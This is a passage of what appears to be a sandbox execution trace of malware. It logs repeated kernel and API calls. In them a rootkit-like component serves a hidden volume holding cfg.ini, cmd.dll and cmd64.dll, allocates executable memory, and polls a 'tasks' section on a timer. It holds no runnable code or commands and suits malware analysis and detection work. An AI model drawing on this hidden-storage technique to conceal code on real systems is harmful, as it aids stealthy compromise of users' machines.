| out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.337] KeEnterCriticalRegion () [0130.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.337] ExFreePoolWithTag (P=0xfffffa800294df60, Tag=0x0) [0130.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.337] KeLeaveCriticalRegion () [0130.337] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.337] ReleaseMutex (hMutex=0xf0) returned 1 [0130.337] Sleep (dwMilliseconds=0x927c0) [0130.494] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.494] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.498] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.498] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.498] KeEnterCriticalRegion () [0130.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.498] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.498] IdePortDispatch () returned 0x103 [0130.498] KeWaitForMutexObject () returned 0x0 [0130.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.499] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.499] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.499] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.499] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.499] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294db50 [0130.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.499] KeLeaveCriticalRegion () [0130.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0130.499] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.499] KeEnterCriticalRegion () [0130.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.499] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0130.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.499] KeLeaveCriticalRegion () [0130.499] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.499] KeEnterCriticalRegion () [0130.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.499] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.499] IdePortDispatch () returned 0x103 [0130.499] KeWaitForMutexObject () returned 0x0 [0130.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.499] KeLeaveCriticalRegion () [0130.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0130.499] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.499] KeEnterCriticalRegion () [0130.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d64000 [0130.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.499] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.499] IdePortDispatch () returned 0x103 [0130.500] KeWaitForMutexObject () returned 0x0 [0130.500] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.500] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.500] IdePortDispatch () returned 0x103 [0130.500] KeWaitForMutexObject () returned 0x0 [0130.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.500] KeLeaveCriticalRegion () [0130.500] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0130.500] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.500] KeEnterCriticalRegion () [0130.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.501] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0130.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.501] KeLeaveCriticalRegion () [0130.501] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.501] KeEnterCriticalRegion () [0130.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.501] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0130.501] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.501] KeLeaveCriticalRegion () [0130.501] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0130.501] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.501] KeEnterCriticalRegion () [0130.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.501] ExFreePoolWithTag (P=0xfffffa800294db50, Tag=0x0) [0130.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.501] KeLeaveCriticalRegion () [0130.501] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0130.501] ReleaseMutex (hMutex=0xf0) returned 1 [0130.501] Sleep (dwMilliseconds=0x927c0) [0130.505] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.505] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.505] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.505] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.505] KeEnterCriticalRegion () [0130.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.505] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.505] IdePortDispatch () returned 0x103 [0130.505] KeWaitForMutexObject () returned 0x0 [0130.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.506] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.506] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.506] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.506] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.506] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08100 [0130.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.506] KeLeaveCriticalRegion () [0130.506] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.506] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.506] KeEnterCriticalRegion () [0130.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.506] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.506] KeLeaveCriticalRegion () [0130.506] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.506] KeEnterCriticalRegion () [0130.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.506] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.506] IdePortDispatch () returned 0x103 [0130.506] KeWaitForMutexObject () returned 0x0 [0130.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.506] KeLeaveCriticalRegion () [0130.506] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.506] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.506] KeEnterCriticalRegion () [0130.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d66000 [0130.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.506] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.507] IdePortDispatch () returned 0x103 [0130.507] KeWaitForMutexObject () returned 0x0 [0130.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.507] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.507] IdePortDispatch () returned 0x103 [0130.507] KeWaitForMutexObject () returned 0x0 [0130.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.507] KeLeaveCriticalRegion () [0130.507] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.508] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.508] KeEnterCriticalRegion () [0130.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.508] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.508] KeLeaveCriticalRegion () [0130.508] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.508] KeEnterCriticalRegion () [0130.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.508] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.508] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.508] KeLeaveCriticalRegion () [0130.508] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.508] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.508] KeEnterCriticalRegion () [0130.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.508] ExFreePoolWithTag (P=0xfffffa8003c08100, Tag=0x0) [0130.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.508] KeLeaveCriticalRegion () [0130.508] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.508] ReleaseMutex (hMutex=0xf0) returned 1 [0130.508] Sleep (dwMilliseconds=0x927c0) [0130.522] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.522] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.522] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.522] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.522] KeEnterCriticalRegion () [0130.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.523] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.523] IdePortDispatch () returned 0x103 [0130.523] KeWaitForMutexObject () returned 0x0 [0130.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.523] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.523] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.523] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.523] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.523] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c450 [0130.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.523] KeLeaveCriticalRegion () [0130.523] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.523] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.523] KeEnterCriticalRegion () [0130.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.523] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.523] KeLeaveCriticalRegion () [0130.523] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.523] KeEnterCriticalRegion () [0130.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.523] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.523] IdePortDispatch () returned 0x103 [0130.523] KeWaitForMutexObject () returned 0x0 [0130.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.523] KeLeaveCriticalRegion () [0130.523] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.524] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.524] KeEnterCriticalRegion () [0130.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.524] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6b000 [0130.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.524] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.524] IdePortDispatch () returned 0x103 [0130.524] KeWaitForMutexObject () returned 0x0 [0130.524] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.524] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.524] IdePortDispatch () returned 0x103 [0130.524] KeWaitForMutexObject () returned 0x0 [0130.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.524] KeLeaveCriticalRegion () [0130.524] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.525] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.525] KeEnterCriticalRegion () [0130.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.525] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.525] KeLeaveCriticalRegion () [0130.525] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.525] KeEnterCriticalRegion () [0130.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.525] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.525] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.525] KeLeaveCriticalRegion () [0130.525] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.525] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.525] KeEnterCriticalRegion () [0130.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.525] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.525] KeLeaveCriticalRegion () [0130.525] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.525] ReleaseMutex (hMutex=0xf0) returned 1 [0130.525] Sleep (dwMilliseconds=0x927c0) [0130.539] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.539] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.539] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.539] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.539] KeEnterCriticalRegion () [0130.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.539] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.539] IdePortDispatch () returned 0x103 [0130.539] KeWaitForMutexObject () returned 0x0 [0130.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.539] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.539] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.539] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.539] 